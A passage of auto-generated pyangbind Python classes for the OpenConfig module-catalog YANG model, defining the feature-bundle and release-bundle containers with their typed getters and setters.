yc_release_bundle_openconfig_module_catalog__organizations_organization_feature_bundles_feature_bundle_release_bundle(PybindBase): """ This class was auto-generated by the PythonClass plugin for PYANG from YANG module openconfig-module-catalog - based on the path /organizations/organization/feature-bundles/feature-bundle/release-bundle. Each member element of the container is represented as a class variable - with a specific YANG type. YANG Description: Data to identify the release bundle from which the feature paths should be specified. If the feature crosses release bundles, a new release bundle should be created to support the feature bundle. """ __slots__ = ('_path_helper', '_extmethods', '__name','__publisher','__version',) _yang_name = 'release-bundle' _yang_namespace = 'http://openconfig.net/yang/module-catalog' _pybind_generated_by = 'container' def __init__(self, *args, **kwargs): self._path_helper = False self._extmethods = False self.__name = YANGDynClass(base=six.text_type, is_leaf=True, yang_name="name", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='leafref', is_config=True) self.__publisher = YANGDynClass(base=six.text_type, is_leaf=True, yang_name="publisher", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='leafref', is_config=True) self.__version = YANGDynClass(base=six.text_type, is_leaf=True, yang_name="version", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='oc-cat-types:module-version-type', is_config=True) load = kwargs.pop("load", None) if args: if len(args) > 1: raise TypeError("cannot create a YANG container with >1 argument") all_attr = True for e in self._pyangbind_elements: if not hasattr(args[0], e): all_attr = False break if not all_attr: raise ValueError("Supplied object did not have the correct attributes") for e in self._pyangbind_elements: nobj = getattr(args[0], e) if nobj._changed() is False: continue setmethod = getattr(self, "_set_%s" % e) if load is None: setmethod(getattr(args[0], e)) else: setmethod(getattr(args[0], e), load=load) def _path(self): if hasattr(self, "_parent"): return self._parent._path()+[self._yang_name] else: return ['organizations', 'organization', 'feature-bundles', 'feature-bundle', 'release-bundle'] def _get_name(self): """ Getter method for name, mapped from YANG variable /organizations/organization/feature_bundles/feature_bundle/release_bundle/name (leafref) YANG Description: Name of the module set which is included in this bundle - for example, 'openconfig-bgp' """ return self.__name def _set_name(self, v, load=False): """ Setter method for name, mapped from YANG variable /organizations/organization/feature_bundles/feature_bundle/release_bundle/name (leafref) If this variable is read-only (config: false) in the source YANG file, then _set_name is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_name() directly. YANG Description: Name of the module set which is included in this bundle - for example, 'openconfig-bgp' """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=six.text_type, is_leaf=True, yang_name="name", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='leafref', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """name must be of a type compatible with leafref""", 'defined-type': "leafref", 'generated-type': """YANGDynClass(base=six.text_type, is_leaf=True, yang_name="name", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='leafref', is_config=True)""", }) self.__name = t if hasattr(self, '_set'): self._set() def _unset_name(self): self.__name = YANGDynClass(base=six.text_type, is_leaf=True, yang_name="name", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='leafref', is_config=True) def _get_publisher(self): """ Getter method for publisher, mapped from YANG variable /organizations/organization/feature_bundles/feature_bundle/release_bundle/publisher (leafref) YANG Description: Reference to the name of the publishing organization """ return self.__publisher def _set_publisher(self, v, load=False): """ Setter method for publisher, mapped from YANG variable /organizations/organization/feature_bundles/feature_bundle/release_bundle/publisher (leafref) If this variable is read-only (config: false) in the source YANG file, then _set_publisher is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_publisher() directly. YANG Description: Reference to the name of the publishing organization """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=six.text_type, is_leaf=True, yang_name="publisher", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='leafref', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """publisher must be of a type compatible with leafref""", 'defined-type': "leafref", 'generated-type': """YANGDynClass(base=six.text_type, is_leaf=True, yang_name="publisher", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='leafref', is_config=True)""", }) self.__publisher = t if hasattr(self, '_set'): self._set() def _unset_publisher(self): self.__publisher = YANGDynClass(base=six.text_type, is_leaf=True, yang_name="publisher", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='leafref', is_config=True) def _get_version(self): """ Getter method for version, mapped from YANG variable /organizations/organization/feature_bundles/feature_bundle/release_bundle/version (oc-cat-types:module-version-type) YANG Description: Version of the referenced release bundle """ return self.__version def _set_version(self, v, load=False): """ Setter method for version, mapped from YANG variable /organizations/organization/feature_bundles/feature_bundle/release_bundle/version (oc-cat-types:module-version-type) If this variable is read-only (config: false) in the source YANG file, then _set_version is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_version() directly. YANG Description: Version of the referenced release bundle """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=six.text_type, is_leaf=True, yang_name="version", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='oc-cat-types:module-version-type', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """version must be of a type compatible with oc-cat-types:module-version-type""", 'defined-type': "oc-cat-types:module-version-type", 'generated-type': """YANGDynClass(base=six.text_type, is_leaf=True, yang_name="version", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='oc-cat-types:module-version-type', is_config=True)""", }) self.__version = t if hasattr(self, '_set'): self._set() def _unset_version(self): self.__version = YANGDynClass(base=six.text_type, is_leaf=True, yang_name="version", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='oc-cat-types:module-version-type', is_config=True) name = __builtin__.property(_get_name, _set_name) publisher = __builtin__.property(_get_publisher, _set_publisher) version = __builtin__.property(_get_version, _set_version) _pyangbind_elements = OrderedDict([('name', name), ('publisher', publisher), ('version', version), ]) class yc_feature_bundle_openconfig_module_catalog__organizations_organization_feature_bundles_feature_bundle_feature_bundles_feature_bundle(PybindBase): """ This class was auto-generated by the PythonClass plugin for PYANG from YANG module openconfig-module-catalog - based on the path /organizations/organization/feature-bundles/feature-bundle/feature-bundles/feature-bundle. Each member element of the container is represented as a class variable - with a specific YANG type. YANG Description: The list of feature bundles included in the current feature bundle. """ __slots__ = ('_path_helper', '_extmethods', '__name','__publisher','__version',) _yang_name = 'feature-bundle' _yang_namespace = 'http://openconfig.net/yang/module-catalog' _pybind_generated_by = 'container' def __init__(self, *args, **kwargs): self._path_helper = False self._extmethods = False self.__name = YANGDynClass(base=six.text_type, is_leaf=True, yang_name="name", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, is_keyval=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='leafref', is_config=True) self.__publisher = YANGDynClass(base=six.text_type, is_leaf=True, yang_name="publisher", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='leafref', is_config=True) self.__version = YANGDynClass(base=six.text_type, is_leaf=True, yang_name="version", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='oc-cat-types:module-version-type', is_config=True) load = kwargs.pop("load", None) if args: if len(args) > 1: raise TypeError("cannot create a YANG container with >1 argument") all_attr = True for e in self._pyangbind_elements: if not hasattr(args[0], e): all_attr = False break if not all_attr: raise ValueError("Supplied object did not have the correct attributes") for e in self._pyangbind_elements: nobj = getattr(args[0], e) if nobj._changed() is False: continue setmethod = getattr(self, "_set_%s" % e) if load is None: setmethod(getattr(args[0], e)) else: setmethod(getattr(args[0], e), load=load) def _path(self): if hasattr(self, "_parent"): return self._parent._path()+[self._yang_name] else: return ['organizations', 'organization', 'feature-bundles', 'feature-bundle', 'feature-bundles', 'feature-bundle'] def _get_name(self): """ Getter method for name, mapped from YANG variable /organizations/organization/feature_bundles/feature_bundle/feature_bundles/feature_bundle/name (leafref) YANG Description: Name of the referenced feature bundle """ return self.__name def _set_name(self, v, load=False): """ Setter method for name, mapped from YANG variable /organizations/organization/feature_bundles/feature_bundle/feature_bundles/feature_bundle/name (leafref) If this variable is read-only (config: false) in the source YANG file, then _set_name is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_name() directly. YANG Description: Name of the referenced feature bundle """ parent = getattr(self, "_parent", None) if parent is not None and load is False: raise AttributeError("Cannot set keys directly when" + " within an instantiated list") if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=six.text_type, is_leaf=True, yang_name="name", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, is_keyval=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='leafref', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """name must be of a type compatible with leafref""", 'defined-type': "leafref", 'generated-type': """YANGDynClass(base=six.text_type, is_leaf=True, yang_name="name", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, is_keyval=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='leafref', is_config=True)""", }) self.__name = t if hasattr(self, '_set'): self._set() def _unset_name(self): self.__name = YANGDynClass(base=six.text_type, is_leaf=True, yang_name="name", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, is_keyval=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='leafref', is_config=True) def _get_publisher(self): """ Getter method for publisher, mapped from YANG variable /organizations/organization/feature_bundles/feature_bundle/feature_bundles/feature_bundle/publisher (leafref) YANG Description: Publisher of the referenced feature bundle """ return self.__publisher def _set_publisher(self, v, load=False): """ Setter method for publisher, mapped from YANG variable /organizations/organization/feature_bundles/feature_bundle/feature_bundles/feature_bundle/publisher (leafref) If this variable is read-only (config: false) in the source YANG file, then _set_publisher is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_publisher() directly. YANG Description: Publisher of the referenced feature bundle """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=six.text_type, is_leaf=True, yang_name="publisher", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='leafref', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """publisher must be of a type compatible with leafref""", 'defined-type': "leafref", 'generated-type': """YANGDynClass(base=six.text_type, is_leaf=True, yang_name="publisher", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='leafref', is_config=True)""", }) self.__publisher = t if hasattr(self, '_set'): self._set() def _unset_publisher(self): self.__publisher = YANGDynClass(base=six.text_type, is_leaf=True, yang_name="publisher", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='leafref', is_config=True) def _get_version(self): """ Getter method for version, mapped from YANG variable /organizations/organization/feature_bundles/feature_bundle/feature_bundles/feature_bundle/version (oc-cat-types:module-version-type) YANG Description: Version of the referenced feature bundle """ return self.__version def _set_version(self, v, load=False): """ Setter method for version, mapped from YANG variable /organizations/organization/feature_bundles/feature_bundle/feature_bundles/feature_bundle/version (oc-cat-types:module-version-type) If this variable is read-only (config: false) in the source YANG file, then _set_version is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_version() directly. YANG Description: Version of the referenced feature bundle """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=six.text_type, is_leaf=True, yang_name="version", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='oc-cat-types:module-version-type', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """version must be of a type compatible with oc-cat-types:module-version-type""", 'defined-type': "oc-cat-types:module-version-type", 'generated-type': """YANGDynClass(base=six.text_type, is_leaf=True, yang_name="version", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='oc-cat-types:module-version-type', is_config=True)""", }) self.__version = t if hasattr(self, '_set'): self._set() def _unset_version(self): self.__version = YANGDynClass(base=six.text_type, is_leaf=True, yang_name="version", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='oc-cat-types:module-version-type', is_config=True) name = __builtin__.property(_get_name, _set_name) publisher = __builtin__.property(_get_publisher, _set_publisher) version = __builtin__.property(_get_version, _set_version) _pyangbind_elements = OrderedDict([('name', name), ('publisher', publisher), ('version', version), ]) class yc_feature_bundles_openconfig_module_catalog__organizations_organization_feature_bundles_feature_bundle_feature_bundles(PybindBase): """ This class was auto-generated by the PythonClass plugin for PYANG from YANG module openconfig-module-catalog - based on the path /organizations/organization/feature-bundles/feature-bundle/feature-bundles. Each member element of the container is represented as a class variable - with a specific YANG type. YANG Description: Enclosing container for the list of included feature bundles. Feature bundles may be composed from other smaller feature units """ __slots__ = ('_path_helper', '_extmethods', '__feature_bundle',) _yang_name = 'feature-bundles' _yang_namespace = 'http://openconfig.net/yang/module-catalog' _pybind_generated_by = 'container' def __init__(self, *args, **kwargs): self._path_helper = False self._extmethods = False self.__feature_bundle = YANGDynClass(base=YANGListType("name",yc_feature_bundle_openconfig_module_catalog__organizations_organization_feature_bundles_feature_bundle_feature_bundles_feature_bundle, yang_name="feature-bundle", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='name', extensions=None), is_container='list', yang_name="feature-bundle", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='list', is_config=True) load = kwargs.pop("load", None) if args: if len(args) > 1: raise TypeError("cannot create a YANG container with >1 argument") all_attr = True for e in self._pyangbind_elements: if not hasattr(args[0], e): all_attr = False break if not all_attr: raise ValueError("Supplied object did not have the correct attributes") for e in self._pyangbind_elements: nobj = getattr(args[0], e) if nobj._changed() is False: continue setmethod = getattr(self, "_set_%s" % e) if load is None: setmethod(getattr(args[0], e)) else: setmethod(getattr(args[0], e), load=load) def _path(self): if hasattr(self, "_parent"): return self._parent._path()+[self._yang_name] else: return ['organizations', 'organization', 'feature-bundles', 'feature-bundle', 'feature-bundles'] def _get_feature_bundle(self): """ Getter method for feature_bundle, mapped from YANG variable /organizations/organization/feature_bundles/feature_bundle/feature_bundles/feature_bundle (list) YANG Description: The list of feature bundles included in the current feature bundle. """ return self.__feature_bundle def _set_feature_bundle(self, v, load=False): """ Setter method for feature_bundle, mapped from YANG variable /organizations/organization/feature_bundles/feature_bundle/feature_bundles/feature_bundle (list) If this variable is read-only (config: false) in the source YANG file, then _set_feature_bundle is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_feature_bundle() directly. YANG Description: The list of feature bundles included in the current feature bundle. """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=YANGListType("name",yc_feature_bundle_openconfig_module_catalog__organizations_organization_feature_bundles_feature_bundle_feature_bundles_feature_bundle, yang_name="feature-bundle", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='name', extensions=None), is_container='list', yang_name="feature-bundle", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='list', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """feature_bundle must be of a type compatible with list""", 'defined-type': "list", 'generated-type': """YANGDynClass(base=YANGListType("name",yc_feature_bundle_openconfig_module_catalog__organizations_organization_feature_bundles_feature_bundle_feature_bundles_feature_bundle, yang_name="feature-bundle", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='name', extensions=None), is_container='list', yang_name="feature-bundle", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='list', is_config=True)""", }) self.__feature_bundle = t if hasattr(self, '_set'): self._set() def _unset_feature_bundle(self): self.__feature_bundle = YANGDynClass(base=YANGListType("name",yc_feature_bundle_openconfig_module_catalog__organizations_organization_feature_bundles_feature_bundle_feature_bundles_feature_bundle, yang_name="feature-bundle", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='name', extensions=None), is_container='list', yang_name="feature-bundle", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='list', is_config=True) feature_bundle = __builtin__.property(_get_feature_bundle, _set_feature_bundle) _pyangbind_elements = OrderedDict([('feature_bundle', feature_bundle), ]) class yc_feature_bundle_openconfig_module_catalog__organizations_organization_feature_bundles_feature_bundle(PybindBase): """ This class was auto-generated by the PythonClass plugin for PYANG from YANG module openconfig-module-catalog - based on the path /organizations/organization/feature-bundles/feature-bundle. Each member element of the container is represented as a class variable - with a specific YANG type. YANG Description: List of feature bundles """ __slots__ = ('_path_helper', '_extmethods', '__name','__version','__path','__release_bundle','__feature_bundles',) _yang_name = 'feature-bundle' _yang_namespace = 'http://openconfig.net/yang/module-catalog' _pybind_generated_by = 'container' def __init__(self, *args, **kwargs): self._path_helper = False self._extmethods = False self.__name = YANGDynClass(base=six.text_type, is_leaf=True, yang_name="name", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, is_keyval=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='string', is_config=True) self.__version = YANGDynClass(base=six.text_type, is_leaf=True, yang_name="version", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, is_keyval=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='oc-cat-types:module-version-type', is_config=True) self.__path = YANGDynClass(unique=True, base=TypedListType(allowed_type=six.text_type), is_leaf=False, yang_name="path", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='string', is_config=True) self.__release_bundle = YANGDynClass(base=yc_release_bundle_openconfig_module_catalog__organizations_organization_feature_bundles_feature_bundle_release_bundle, is_container='container', yang_name="release-bundle", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='container', is_config=True) self.__feature_bundles = YANGDynClass(base=yc_feature_bundles_openconfig_module_catalog__organizations_organization_feature_bundles_feature_bundle_feature_bundles, is_container='container', yang_name="feature-bundles", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='container', is_config=True) load = kwargs.pop("load", None) if args: if len(args) > 1: raise TypeError("cannot create a YANG container with >1 argument") all_attr = True for e in self._pyangbind_elements: if not hasattr(args[0], e): all_attr = False break if not all_attr: raise ValueError("Supplied object did not have the correct attributes") for e in self._pyangbind_elements: nobj = getattr(args[0], e) if nobj._changed() is False: continue setmethod = getattr(self, "_set_%s" % e) if load is None: setmethod(getattr(args[0], e)) else: setmethod(getattr(args[0], e), load=load) def _path(self): if hasattr(self, "_parent"): return self._parent._path()+[self._yang_name] else: return ['organizations', 'organization', 'feature-bundles', 'feature-bundle'] def _get_name(self): """ Getter method for name, mapped from YANG variable /organizations/organization/feature_bundles/feature_bundle/name (string) YANG Description: The name of the module or bundle. For modules, this should reflect the 'module' or 'submodule' statement in the YANG module file. For bundles, this is the canonical name for the overall bundle of modules which is to be released together. This name should be consistent over multiple releases """ return self.__name def _set_name(self, v, load=False): """ Setter method for name, mapped from YANG variable /organizations/organization/feature_bundles/feature_bundle/name (string) If this variable is read-only (config: false) in the source YANG file, then _set_name is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_name() directly. YANG Description: The name of the module or bundle. For modules, this should reflect the 'module' or 'submodule' statement in the YANG module file. For bundles, this is the canonical name for the overall bundle of modules which is to be released together. This name should be consistent over multiple releases """ parent = getattr(self, "_parent", None) if parent is not None and load is False: raise AttributeError("Cannot set keys directly when" + " within an instantiated list") if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=six.text_type, is_leaf=True, yang_name="name", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, is_keyval=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='string', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """name must be of a type compatible with string""", 'defined-type': "string", 'generated-type': """YANGDynClass(base=six.text_type, is_leaf=True, yang_name="name", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, is_keyval=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='string', is_config=True)""", }) self.__name = t if hasattr(self, '_set'): self._set() def _unset_name(self): self.__name = YANGDynClass(base=six.text_type, is_leaf=True, yang_name="name", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, is_keyval=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='string', is_config=True) def _get_version(self): """ Getter method for version, mapped from YANG variable /organizations/organization/feature_bundles/feature_bundle/version (oc-cat-types:module-version-type) YANG Description: For individual modules, this is the version number, e.g., a semantic version. The version may be the same as the date indicated in the module revision statement. For bundles, this is a semantic version number for the overall bundle. This version is to be defined as per the approach specified in the OpenConfig semantic version guidance - and is of the form x.y.z, where x is the major version, y is the minor version, and z is the patch level """ return self.__version def _set_version(self, v, load=False): """ Setter method for version, mapped from YANG variable /organizations/organization/feature_bundles/feature_bundle/version (oc-cat-types:module-version-type) If this variable is read-only (config: false) in the source YANG file, then _set_version is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_version() directly. YANG Description: For individual modules, this is the version number, e.g., a semantic version. The version may be the same as the date indicated in the module revision statement. For bundles, this is a semantic version number for the overall bundle. This version is to be defined as per the approach specified in the OpenConfig semantic version guidance - and is of the form x.y.z, where x is the major version, y is the minor version, and z is the patch level """ parent = getattr(self, "_parent", None) if parent is not None and load is False: raise AttributeError("Cannot set keys directly when" + " within an instantiated list") if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=six.text_type, is_leaf=True, yang_name="version", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, is_keyval=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='oc-cat-types:module-version-type', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """version must be of a type compatible with oc-cat-types:module-version-type""", 'defined-type': "oc-cat-types:module-version-type", 'generated-type': """YANGDynClass(base=six.text_type, is_leaf=True, yang_name="version", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, is_keyval=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='oc-cat-types:module-version-type', is_config=True)""", }) self.__version = t if hasattr(self, '_set'): self._set() def _unset_version(self): self.__version = YANGDynClass(base=six.text_type, is_leaf=True, yang_name="version", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, is_keyval=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='oc-cat-types:module-version-type', is_config=True) def _get_path(self): """ Getter method for path, mapped from YANG variable /organizations/organization/feature_bundles/feature_bundle/path (string) YANG Description: The list of schema paths included in the feature. The paths specify subtrees, i.e., all data underneath the specified path are included in the feature. """ return self.__path def _set_path(self, v, load=False): """ Setter method for path, mapped from YANG variable /organizations/organization/feature_bundles/feature_bundle/path (string) If this variable is read-only (config: false) in the source YANG file, then _set_path is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_path() directly. YANG Description: The list of schema paths included in the feature. The paths specify subtrees, i.e., all data underneath the specified path are included in the feature. """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,unique=True, base=TypedListType(allowed_type=six.text_type), is_leaf=False, yang_name="path", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='string', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """path must be of a type compatible with string""", 'defined-type': "string", 'generated-type': """YANGDynClass(unique=True, base=TypedListType(allowed_type=six.text_type), is_leaf=False, yang_name="path", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='string', is_config=True)""", }) self.__path = t if hasattr(self, '_set'): self._set() def _unset_path(self): self.__path = YANGDynClass(unique=True, base=TypedListType(allowed_type=six.text_type), is_leaf=False, yang_name="path", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='string', is_config=True) def _get_release_bundle(self): """ Getter method for release_bundle, mapped from YANG variable /organizations/organization/feature_bundles/feature_bundle/release_bundle (container) YANG Description: Data to identify the release bundle from which the feature paths should be specified. If the feature crosses release bundles, a new release bundle should be created to support the feature bundle. """ return self.__release_bundle def _set_release_bundle(self, v, load=False): """ Setter method for release_bundle, mapped from YANG variable /organizations/organization/feature_bundles/feature_bundle/release_bundle (container) If this variable is read-only (config: false) in the source YANG file, then _set_release_bundle is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_release_bundle() directly. YANG Description: Data to identify the release bundle from which the feature paths should be specified. If the feature crosses release bundles, a new release bundle should be created to support the feature bundle. """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=yc_release_bundle_openconfig_module_catalog__organizations_organization_feature_bundles_feature_bundle_release_bundle, is_container='container', yang_name="release-bundle", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='container', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """release_bundle must be of a type compatible with container""", 'defined-type': "container", 'generated-type': """YANGDynClass(base=yc_release_bundle_openconfig_module_catalog__organizations_organization_feature_bundles_feature_bundle_release_bundle, is_container='container', yang_name="release-bundle", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='container', is_config=True)""", }) self.__release_bundle = t if hasattr(self, '_set'): self._set() def _unset_release_bundle(self): self.__release_bundle = YANGDynClass(base=yc_release_bundle_openconfig_module_catalog__organizations_organization_feature_bundles_feature_bundle_release_bundle, is_container='container', yang_name="release-bundle", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='container', is_config=True) def _get_feature_bundles(self): """ Getter method for feature_bundles, mapped from YANG variable /organizations/organization/feature_bundles/feature_bundle/feature_bundles (container) YANG Description: Enclosing container for the list of included feature bundles. Feature bundles may be composed from other smaller feature units """ return self.__feature_bundles def _set_feature_bundles(self, v, load=False): """ Setter method for feature_bundles, mapped from YANG variable /organizations/organization/feature_bundles/feature_bundle/feature_bundles (container) If this variable is read-only (config: false) in the source YANG file, then _set_feature_bundles is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_feature_bundles() directly. YANG Description: Enclosing container for the list of included feature bundles. Feature bundles may be composed from other smaller feature units """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=yc_feature_bundles_openconfig_module_catalog__organizations_organization_feature_bundles_feature_bundle_feature_bundles, is_container='container', yang_name="feature-bundles", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='container', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """feature_bundles must be of a type compatible with container""", 'defined-type': "container", 'generated-type': """YANGDynClass(base=yc_feature_bundles_openconfig_module_catalog__organizations_organization_feature_bundles_feature_bundle_feature_bundles, is_container='container', yang_name="feature-bundles", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='container', is_config=True)""", }) 